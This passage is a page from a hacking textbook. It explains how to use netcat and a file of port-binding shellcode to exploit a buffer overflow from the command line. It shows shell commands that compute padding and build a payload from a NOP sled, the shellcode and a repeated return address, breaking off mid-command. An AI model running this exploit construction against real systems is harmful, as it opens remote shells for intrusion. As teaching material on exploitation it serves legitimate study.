280 0x400
Even though the remote shell doesn’t display a prompt, it still accepts
commands and returns the output over the network.
A program like netcat can be used for many other things. It’s designed to
work like a console program, allowing standard input and output to be piped
and redirected. Using netcat and the port-binding shellcode in a file, the same
exploit can be carried out on the command line.
reader@hacking:~/booksrc $ wc -c portbinding_shellcode
92 portbinding_shellcode
reader@hacking:~/booksrc $ echo $((540+4 - 300 - 92))
152
reader@hacking:~/booksrc $ echo $((152 / 4))
38
reader@hacking:~/booksrc $ (perl -e 'print "\x90"x300';
cat portbinding_shellcode
perl -e 'print "\x88\xf6\xff\xbf"x38. \r\n"')